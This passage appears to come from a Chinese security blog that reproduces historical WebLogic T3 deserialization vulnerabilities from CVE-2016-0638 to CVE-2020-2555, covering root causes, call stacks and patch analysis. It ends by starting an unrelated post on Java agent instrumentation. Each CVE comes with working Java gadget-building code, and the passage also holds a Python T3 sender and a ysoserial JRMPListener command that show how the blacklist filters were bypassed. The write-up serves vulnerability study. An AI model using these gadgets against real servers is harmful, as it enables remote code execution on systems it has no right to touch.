    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
    flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
    payload = data_len + t3header + flag + payload
    payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
    sock.send(payload)
    print(payload)

if __name__ == "__main__":
    host = "127.0.0.1"
    port = 7001
    payload = get_payload("poc.obj")
    exp(host, port, payload)

修复

补丁:2016年1月 p21984589_1036_Generic

修复手段就是在InboundMsgAbbrev.ServerChannelInputStream::resolveClass中引入了黑名单类过滤

CVE-2016-0638

原理

在经历了2016年1月 p21984589_1036_Generic这个补丁之后,直接传反序列化gadget行不通了。需要采用一点绕过技巧。这个CVE使用了weblogic.jms.common.StreamMessageImpl这个类进行绕过。在正式分析这个CVE之前,需要先了解一下Externalizable接口。

Externalizable接口

Externalizable接口定义了两个方法:writeExternalreadExternal方法。readExternal方法与readObject有相同之处,它们俩都会在对象被反序列化时被调用。对应的,也存在writeExternal方法,与readObject类似,在对象序列化时被调用。readExternal方法的优先级比readObject高,如果同时出现,则反序列化时会调用readExternal,而不会调用readObject。在ObjectInputStream::readOrdinaryObject中可以看出,优先判断反序列化的类是否实现了Externalizable接口,如果实现了,则调用readExternalData,在这个方法中调用了反序列化对象的readExternal方法。如果没实现,则调用readSerialData,在这个方法中调用了对象的readObject方法。

image-20211103104322997

无论是readObject还是readExternal为用户提供的都是自定义反序列化的能力,通过重写二者之一,就可以按照用户自己的方式将对象进行反序列化(要与序列化过程相对应)

漏洞原理

CVE-2015-4852之后,官方的修复是在InboundMsgAbbrev.ServerChannelInputStream::resolveClass中引入了黑名单类过滤。而weblogic.jms.common.StreamMessageImpl类不在黑名单中,因此可以尝试去反序列化这个类。这个类实现了Externalizable接口,同时实现了readExternal方法自定义了反序列化的流程。

image-20211103111742560

那么我们只需要根据它反序列化的流程,反过来构造一个序列化数据就行了。注意到864行调用了ObjectInputStream::readObject,而且这里的ObjectInputStream是new出来的,完全不受InboundMsgAbbrev.ServerChannelInputStream::resolveClass黑名单的影响。

根据readExternal,自定义一个weblogic.jms.common.StreamMessageImpl类,自己实现writeExternal。主要就四步,其中第1、2步都可以在readExternal找到对应,第3步是与readExternal的856行调用的函数内部的readInt对应,第4步与readExternal的864行对应。

public void writeExternal(ObjectOutput paramObjectOutput) throws IOException {
    super.writeExternal(paramObjectOutput);//1
    paramObjectOutput.writeByte(1);//2
    paramObjectOutput.writeInt(getDataSize());//3
    paramObjectOutput.write(getDataBuffer());//4
}

漏洞利用

poc与CVE-2015-4852相同,只需要把payload.obj换成序列化的恶意weblogic.jms.common.StreamMessageImpl对象即可

import weblogic.jms.common.StreamMessageImpl;
import ysoserial.Serializer;
import ysoserial.payloads.CommonsCollections1;
import ysoserial.payloads.ObjectPayload;

import java.lang.reflect.InvocationHandler;

public class CVE_2016_0638  implements ObjectPayload<Object> {
    @Override
    public Object getObject(String... command) throws Exception {
        CommonsCollections1 commonsCollections1 = new CommonsCollections1();
        InvocationHandler object = commonsCollections1.getObject(command);
        byte[] serialize = Serializer.serialize(object);
        StreamMessageImpl streamMessage = new StreamMessageImpl();
        streamMessage.setDataBuffer(serialize, serialize.length);
        return streamMessage;
    }


}

修复

补丁:2016年4月p22505423_1036_Generic

修复手段就是原来weblogic.jms.common.StreamMessageImpl858行创建的ObjectInputStream换成了自定义的FilteringObjectInputStream,并在其中对类进行了过滤,这里偷两张图

image-20211103121530068

image-20211103121542915

CVE-2016-3510

原理

分析这个CVE之前需要先对readResolve方法有所了解。这个方法属于一个回调方法,它会在对象反序列化过程中被调用,具体而言,在反序列化结束之前。分析过ObjectInputStream::readObject方法的师傅应该知道,对象的反序列化可以粗分为三步,在第三步结束之后,如果反序列化的类实现了readResolve方法,则会进行调用。下面这个readOrdinaryObject方法既是ObjectInputStream::readObject的底层实现。

private Object readOrdinaryObject(boolean unshared)
        throws IOException
{
    if (bin.readByte() != TC_OBJECT) {
        throw new InternalError();
    }
    //第一步:读类元信息
    ObjectStreamClass desc = readClassDesc(false);
    desc.checkDeserialize();

    Class<?> cl = desc.forClass();
    if (cl == String.class || cl == Class.class
        || cl == ObjectStreamClass.class) {
        throw new InvalidClassException("invalid class descriptor");
    }

    Object obj;
    try {
        //第二步:创建对象
        obj = desc.isInstantiable() ? desc.newInstance() : null;
    } catch (Exception ex) {
        throw (IOException) new InvalidClassException(
            desc.forClass().getName(),
            "unable to create instance").initCause(ex);
    }

    passHandle = handles.assign(unshared ? unsharedMarker : obj);
    ClassNotFoundException resolveEx = desc.getResolveException();
    if (resolveEx != null) {
        handles.markException(passHandle, resolveEx);
    }

    if (desc.isExternalizable()) {
        readExternalData((Externalizable) obj, desc);
    } else {
        //第三步:给字段赋值
        readSerialData(obj, desc);
    }

    handles.finish(passHandle);

    if (obj != null &&
        handles.lookupException(passHandle) == null &&
        desc.hasReadResolveMethod())
    {
        //调用对象的readResolve方法
        Object rep = desc.invokeReadResolve(obj);
        if (unshared && rep.getClass().isArray()) {
            rep = cloneArray(rep);
        }
        if (rep != obj) {
            // Filter the replacement object
            if (rep != null) {
                if (rep.getClass().isArray()) {
                    filterCheck(rep.getClass(), Array.getLength(rep));
                } else {
                    filterCheck(rep.getClass(), -1);
                }
            }
            handles.setObject(passHandle, obj = rep);
        }
    }

    return obj;
}

漏洞原理

在weblogic.corba.utils.MarshalledObject的readResolve中可以看到,这个方法会对objBytes字段进行反序列化,而且是新创建一个ObjectInputStream对象进行反序列化,没有任何黑名单过滤。那么我们就可以将反序列化gadget存储在MarshalledObject对象的objBytes字段中,实现攻击。

public Object readResolve() throws IOException, ClassNotFoundException, ObjectStreamException {
    if (this.objBytes == null) {
        return null;
    } else {
        ByteArrayInputStream var1 = new ByteArrayInputStream(this.objBytes);
        ObjectInputStream var2 = new ObjectInputStream(var1);
        Object var3 = var2.readObject();
        var2.close();
        return var3;
    }
}

最后贴一下完整的调用栈

readResolve:53, MarshalledObject (weblogic.corba.utils)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadResolve:1061, ObjectStreamClass (java.io)
readOrdinaryObject:1761, ObjectInputStream (java.io)
readObject0:1328, ObjectInputStream (java.io)
readObject:350, ObjectInputStream (java.io)
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
processSockets:105, NTSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

漏洞利用

生成恶意对象的poc如下,需要结合ysoserial来运行。

public class CVE_2016_3510 implements ObjectPayload<Object> {
    @Override
    public Object getObject(String... command) throws Exception {
        CommonsCollections1 commonsCollections1 = new CommonsCollections1();
        InvocationHandler object = commonsCollections1.getObject(command);
        MarshalledObject marshalledObject = new MarshalledObject(object);
        return marshalledObject;
    }

}

修复

补丁:2016年10月 p23743997_1036_Generic

修复方法就是在weblogic.corba.utils.MarshalledObject的readResolve方法中创建一个匿名内部类,重写resolveClass方法,然后加上黑名单过滤,偷两张图

image-20211103131143043

image-20211103131154316

CVE-2017-3248(JRMP分水岭)

原理

这个CVE实际上跟前面几个的出发点是类似的,都是在寻找没有被过滤的危险类进行反序列化。但是这个漏洞又有特殊点,因为它的利用过程涉及到了rmi,通过反序列化一个RemoteObject(未在黑名单中),通过它的readObject触发连接JRMP服务端,然后反序列化服务端传来的序列化数据(没有过滤),导致rce。给出漏洞触发的调用栈,这里涉及到rmi的底层源码,不是本文重点,所以就不详细分析了,如果有兴趣了解,可以找找分析rmi的文章。

readObject:343, ObjectInputStream (java.io) [2] //没有过滤
executeCall:225, StreamRemoteCall (sun.rmi.transport)
invoke:359, UnicastRef (sun.rmi.server)
dirty:-1, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:342, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:285, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:121, DGCClient (sun.rmi.transport)
read:294, LiveRef (sun.rmi.transport)
readExternal:473, UnicastRef (sun.rmi.server)
readObject:438, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadObject:974, ObjectStreamClass (java.io)
readSerialData:1848, ObjectInputStream (java.io)
readOrdinaryObject:1752, ObjectInputStream (java.io)
readObject0:1328, ObjectInputStream (java.io)
defaultReadFields:1946, ObjectInputStream (java.io)
readSerialData:1870, ObjectInputStream (java.io)
readOrdinaryObject:1752, ObjectInputStream (java.io)
readObject0:1328, ObjectInputStream (java.io)
readObject:350, ObjectInputStream (java.io) [1]
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
processSockets:105, NTSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

漏洞利用

首先使用ysoserial启动一个JRMP服务器

java -cp ysoserial.jar  ysoserial.exploit.JRMPListener 7777 CommonsCollections1 'calc'

然后生成恶意序列化数据。调用getObject,传入JRMP服务器的ip:port,即可得到恶意对象

import org.jboss.util.Strings;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.ObjectPayload;

import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class CVE_2017_3248 implements ObjectPayload<Object> {
    @Override
    public Object getObject(String... command) throws Exception {
        String[] endpoint= Strings.split(command[0],":");
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint(endpoint[0], Integer.parseInt(endpoint[1]));
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Registry proxy = (Registry) Proxy.newProxyInstance(this.getClass().getClassLoader(), new Class[]{Registry.class}, obj);
        return proxy;
    }
}

将其序列化保存后得到poc.obj,然后用前面的脚本打即可

修复

补丁:p24667634_1036_Generic

修复手段是在InboundMsgAbbrev.ServerChannelInputStream中加入了黑名单过滤,过滤java.rmi.registry.Registry,偷一张图。

本文修复这部分的图都是偷的(因为找不到补丁,懒得打补丁,而且修复的方式都比较简单粗暴),图片来自李三师傅,侵删

image-20211103171855780

CVE-2018-2628

针对CVE-2017-3248的修复实际上是非常鸡肋的,笔者在学习这个洞的时候发现这个poc构造的有些莫名其妙,为什么非得用动态代理来生成一个Registry对象?实际上真正的入口应该是RemoteObject::readObject,也就是RemoteObjectInvocationHandler的父类。于是试着自己构造了一下CVE-2017-3248的poc,其实就是把动态代理的部分删了,发现也是可以打通的。

import org.jboss.util.Strings;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.ObjectPayload;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class CVE_2017_3248_1 implements ObjectPayload<Object> {
    @Override
    public Object getObject(String... command) throws Exception {
        String[] endpoint= Strings.split(command[0],":");
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint(endpoint[0], Integer.parseInt(endpoint[1]));
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        return obj;
    }
}

当时也没想到,其实这个poc也可以打它修复后的版本。与本章的主角CVE-2018-2628的poc构造思路有点相似。

原理

CVE-2018-2628的原理与CVE-2017-3248相似,这里不予赘述

漏洞利用

利用手法跟CVE-2017-3248相似,这里不予赘述,只给出生成恶意对象的脚本

import org.jboss.util.Strings;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.ObjectPayload;
import java.rmi.server.ObjID;
import java.util.Random;

public class CVE_2018_2628 implements ObjectPayload {
    @Override
    public Object getObject(String... command) throws Exception {
        String[] endpoint= Strings.split(command[0],":");
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint(endpoint[0], Integer.parseInt(endpoint[1]));
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        return ref;
    }
}

修复

补丁:2018年四月发布的p27395085_1036_Generic

据说是将UnicastRef加入了黑名单,可惜没拿到补丁没法细看。我的weblogic中没打补丁甚至连WebLogicFilterConfig这个类都找不到,估计是补丁里加的吧

image-20211103193708013

CVE-2018-2893

这个CVE算是将前面几个进行了一个大整合,实现了最终的绕过。用到了CVE-2016-0638的weblogic.jms.common.StreamMessageImpl,还用到了CVE-2017-3248的JRMP

原理

原理没什么好说的,该说的在前面几个CVE已经说的差不多了,这里给出调用链

readObject:343, ObjectInputStream (java.io) [3]
executeCall:225, StreamRemoteCall (sun.rmi.transport)
invoke:359, UnicastRef (sun.rmi.server)
dirty:-1, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:342, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:285, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:121, DGCClient (sun.rmi.transport)
read:294, LiveRef (sun.rmi.transport)
readExternal:473, UnicastRef (sun.rmi.server)
readObject:438, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadObject:974, ObjectStreamClass (java.io)
readSerialData:1848, ObjectInputStream (java.io)
readOrdinaryObject:1752, ObjectInputStream (java.io)
readObject0:1328, ObjectInputStream (java.io)
defaultReadFields:1946, ObjectInputStream (java.io)
readSerialData:1870, ObjectInputStream (java.io)
readOrdinaryObject:1752, ObjectInputStream (java.io)
readObject0:1328, ObjectInputStream (java.io)
readObject:350, ObjectInputStream (java.io) [2]
readExternal:1433, StreamMessageImpl (weblogic.jms.common)
readExternalData:1791, ObjectInputStream (java.io)
readOrdinaryObject:1750, ObjectInputStream (java.io)
readObject0:1328, ObjectInputStream (java.io)
readObject:350, ObjectInputStream (java.io) [1]
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
processSockets:105, NTSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

值得仔细思考的有两点,这里用到的类前面的补丁不都已经ban掉了吗,怎么还能用?

之前的补丁中,在weblogic.jms.common.StreamMessageImpl::readExternal方法中,虽说是使用了FilteringObjectInputStream对反序列化数据进行过滤

image-20211103201042113

但是过滤时没有将Proxy类加入黑名单,所以这里我们可以bypass

另外,CVE-2018-2628的patch中已经将UnicastRef加入了黑名单,那为什么还能用?原因在于我们没有真正反序列化UnicastRef对象。在RemoteObject类的代码中可以看到,这里自定义了readObject,对于RemoteObject对象的ref字段(也就是UnicastRef),它并没有通过readObject来进行反序列化,而是直接通过反射new对象,所以也就不存在什么绕不绕过的问题。

image-20211103201659700

漏洞利用

import org.jboss.util.Strings;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import weblogic.jms.common.StreamMessageImpl;
import ysoserial.Serializer;
import ysoserial.payloads.ObjectPayload;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class CVE_2018_2893 implements ObjectPayload {

    @Override
    public Object getObject(String... command) throws Exception {
        String[] endpoint= Strings.split(command[0],":");
        ObjID objID = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint(endpoint[0], Integer.parseInt(endpoint[1]));
        UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, te, false));
        RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef);
        Object object = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class[] { Registry.class }, remoteObjectInvocationHandler);
        StreamMessageImpl streamMessage = new StreamMessageImpl();
        byte[] serialize = Serializer.serialize(object);
        streamMessage.setDataBuffer(serialize,serialize.length);
        return streamMessage;
    }
}

修复

补丁:18年7月 p27919965_1036_Generic

将java.rmi.server.RemoteObjectInvocationHandler和加入了WebLogicFilterConfig类的黑名单

image-20211103202522823

CVE-2018-3245

原理

这个CVE的原理没什么好分析的,跟CVE-2018-2893相同,无非是换了个类罢了

weblogic这种哪里痛医哪里的做法,不知道怎么吐槽,看到攻击者poc用了哪个类就ban哪个类,一点也不多ban,甚至都不愿意去研究研究有没有别的相似的类也能进行攻击。weblogic官方不研究,那就只能是安全狗们来研究然后就被打花了。

其实看前面的分析也能有点感悟,其实我们用RemoteObjectInvocationHandler的原因,无非就是因为它继承了RemoteObject,然后通过RemoteObject::readObject来触发后续的流程。现在RemoteObjectInvocationHandler给ban了,那我们找其他子类不就得了。还得注意子类的包名不能在WebLogicFilterConfig类的黑名单中。

贴一下师傅们找出的可以利用的类

javax.management.remote.rmi.RMIConnectionImpl_Stub
com.sun.jndi.rmi.registry.ReferenceWrapper_Stub
javax.management.remote.rmi.RMIServerImpl_Stub
sun.rmi.registry.RegistryImpl_Stub
sun.rmi.transport.DGCImpl_Stub

除此之外,试了一下下面这个类也行

sun.management.jmxremote.SingleEntryRegistry

漏洞利用


import org.jboss.util.Strings;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import weblogic.jms.common.StreamMessageImpl;
import ysoserial.Serializer;
import ysoserial.payloads.ObjectPayload;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.rmi.Remote;
import java.rmi.server.ObjID;
import java.util.Random;

public class CVE_2018_3245 implements ObjectPayload {
    @Override
    public Object getObject(String... command) throws Exception {
        String[] endpoint= Strings.split(command[0],":");
        ObjID objID = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint(endpoint[0], Integer.parseInt(endpoint[1]));
        UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, te, false));
        //1
//        RMIConnectionImpl_Stub object = new RMIConnectionImpl_Stub(unicastRef);
        //2
        Constructor<?> singleEntryRegistryConstructor = Class.forName("sun.management.jmxremote.SingleEntryRegistry").getDeclaredConstructor(int.class, String.class, Remote.class);
        singleEntryRegistryConstructor.setAccessible(true);
        Object object = singleEntryRegistryConstructor.newInstance(9999, "aaa", null);
        Field ref = Class.forName("java.rmi.server.RemoteObject").getDeclaredField("ref");
        ref.setAccessible(true);
        ref.set(object,unicastRef);


        StreamMessageImpl streamMessage = new StreamMessageImpl();
        byte[] serialize = Serializer.serialize(object);
        streamMessage.setDataBuffer(serialize,serialize.length);
        return streamMessage;
    }
}

修复

补丁:2018年8月 p28343311_1036_201808Generic

修复方法是将java.rmi.server.RemoteObject加入到黑名单,加入这个就比较机智了,因为我们上面找的那些类都是RemoteObject的子类,加入这个类就有点”根除”的意味了。

image-20211103210009129

CVE-2018-3191

原理

这个漏洞利用链不太复杂,总共就四步,很直白没什么好分析的,贴一下调用栈得了。属于JNDI注入

lookup:155, JndiTemplate (com.bea.core.repackaged.springframework.jndi)
lookupUserTransaction:565, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
initUserTransactionAndTransactionManager:444, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
readObject:1198, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadObject:974, ObjectStreamClass (java.io)
readSerialData:1848, ObjectInputStream (java.io)
readOrdinaryObject:1752, ObjectInputStream (java.io)
readObject0:1328, ObjectInputStream (java.io)
readObject:350, ObjectInputStream (java.io)
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
processSockets:105, NTSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

漏洞利用

需要把weblogic安装目录modules里的com.bea.core.repackaged.springframework.spring_1.2.0.0_2-5-3.jar引入到项目中

import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;
import ysoserial.payloads.ObjectPayload;

public class CVE_2018_3245 implements ObjectPayload<Object> {
    @Override
    public Object getObject(String... command) throws Exception {
        String jndiAddress = command[0];
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        jtaTransactionManager.setUserTransactionName(jndiAddress);
        return jtaTransactionManager;
    }
}

修复

补丁:2018年8月 p28343311_1036_Generic

可以看到JtaTransactionManager的父类AbstractPlatformTransactionManager被加入到了黑名单中

image-20211104120143505

后话

这里有一些困惑,为什么将父类加入黑名单也能起到防御作用?带着这个问题我再次去查看了一下ObjectInputStream::readObject的源码,找到了些许答案。

首先,在CVE-2016-3510中我们提到了,类的反序列化分为三步。在第一步:读类元信息的时候,会回调ObjectInputStream::resolveClass,也正是这个回调机制,使得我们可以在resolveClass中进行一些黑名单过滤。

image-20211104121840602

在回调完ObjectInputStream::resolveClass之后,递归调用了readClassDesc。在跟进之前,我们先记住本次调用解析到的类cl为JtaTransactionManager。

image-20211104122302574然后我们再跟进递归调用,发现递归调用解析到的类为JtaTransactionManager的父类AbstractPlatformTransactionManager。这就能说明,在反序列化过程中,父类信息也是会被当作参数传入resolveClass回调方法的。所以在resolveClass中拦截父类也是有效的。不过我这里没打补丁,所以没有拦截掉。

image-20211104122352811

CVE-2020-2555(类似CC)

原理

找漏洞的思路跟以往的CVE都是相同的,t3反序列化的入口一直存在, 我们只需要绕过黑名单找可利用的类即可。这次的CVE找到的是一条很像CC链的gadget,如果了解过CC链的,可以把这个gadget中的XXXExtractor理解为CC链中的XXXTransformer,就非常容易上手了。

下面来看看这条链子的触发过程。首先是反序列化触发BadAttributeValueExpException::readObject(这里笔者使用的jdk版本为8u144,低版本的BadAttributeValueExpException类可能没有readObject方法),由于System.getSecurityManager() == null结果为true,进入到了第二个else if中

image-20211104111832681

进而触发了LimitFilter::toString。在这个方法中调用了extractor.extract,extractor是从this.m_comparator获取的,方法参数也是从对象字段this.m_oAnchorTop获取的,也就是说这两个值我们都可以控制。

image-20211104111952395

设置this.m_comparator(即extractor)为ChainedExtractor对象,this.m_oAnchorTop为Runtime的Class对象。那么也就是会调用ChainedExtractor::extract(Class)。在这个方法中会遍历ChainedExtractor中所有的extractor(这里顾名思义,Chained的意思是链条,所以这个Extractor的作用就是将若干个extractor组合成链,保存在它的m_aExtractor字段中)。首先调用this.getExtractors()获取到链条中所有的extractor,然后循环调用extractor的extract方法。

image-20211104112351501

由于extractor链是存储在ChainedExtractor的m_aExtractor字段中的,所以我们可以控制,将它设置为这样

image-20211104112757652

我们选用的是ReflectionExtractor,这个extractor的作用就是反射调用方法,方法我们可以指定。图中分别指定的三个方法是getMethod,invoke,exec,那么如下链条的实际效果就类似

((Runtime)(Runtime.class.getMethod("getRuntime",new Class[0]).invoke(null,new Object[0]))).exec("calc");

到这里这条链子就结束了,最后贴一下完整的调用栈

exec:617, Runtime (java.lang)
exec:485, Runtime (java.lang)
invoke:-1, GeneratedMethodAccessor122 (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
extract:109, ReflectionExtractor (com.tangosol.util.extractor)
extract:81, ChainedExtractor (com.tangosol.util.extractor)
toString:580, LimitFilter (com.tangosol.util.filter)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:2136, ObjectInputStream (java.io)
readOrdinaryObject:2027, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
readObject:67, InboundMsgAbbrev (weblogic.rjvm)
read:39, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:287, MsgAbbrevJVMConnection (weblogic.rjvm)
init:212, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:507, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:489, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:359, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:970, SocketMuxer (weblogic.socket)
readReadySocket:907, SocketMuxer (weblogic.socket)
process:495, NIOSocketMuxer (weblogic.socket)
processSockets:461, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)

漏洞利用

import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;
import ysoserial.payloads.ObjectPayload;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;

public class CVE_2020_2555 implements ObjectPayload<Object> {
    @Override
    public Object getObject(String... command) throws Exception {
        ValueExtractor[] valueExtractors = new ValueExtractor[]{
            new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
            new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
            new ReflectionExtractor("exec", new Object[]{command})
        };
        LimitFilter limitFilter = new LimitFilter();
        limitFilter.setTopAnchor(Runtime.class);
        BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
        Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
        m_comparator.setAccessible(true);
        m_comparator.set(limitFilter, new ChainedExtractor(valueExtractors));
        Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
        m_oAnchorTop.setAccessible(true);
        m_oAnchorTop.set(limitFilter, Runtime.class);
        Field val = expException.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(expException, limitFilter);
        return expException;
    }
}

修复

红色是老版本,绿色是修复后的版本,可以看到,将extractor.extract直接删除了,图片来源

image-20211104114524904

总结

weblogic的古老漏洞复现到这里先做个总结,这篇文章也是跟着李三师傅的博客复现下来的,非常感谢师傅无私分享。

在复现过程中也有一些自己的思考,学到了一些新东西,这里汇总一下

  1. t3、weblogic rmi、jrmp、java rmi之间的关系
  2. java序列化Externalizable接口,通过实现readExternal来自定义反序列化流程(当然readObject也能实现同样的效果)
  3. java反序列化回调方法readResolve,该方法在第三步读取完对象字段之后被调用
  4. java反序列化第一步读取类元信息时,会调用resolveClass来解析序列化数据中给出的类,此时会从子类开始,解析到父类。所以拦截父类的效果通常来说比子类更好,打击范围更大。

参考文章

WebLogic安全研究报告

Java 序列化之 Externalizable

weblogic历史T3反序列化漏洞及补丁梳理

前言

这篇文章主要是在学习java内存马的过程中,理解agent类型内存马时出现了一些问题,于是就来学了一下agent的一些api。主要想搞清楚retransformClasses和redefineClasses之间有什么区别。

Instrumentation::retransformClasses

根据函数名,可以大概知道这个函数的作用:重新转换类。接着我们看官方说明

This function facilitates the instrumentation of already loaded classes.

When classes are initially loaded or when they are redefined, the initial class file bytes can be transformed with the ClassFileTransformer. This function reruns the transformation process (whether or not a transformation has previously occurred).

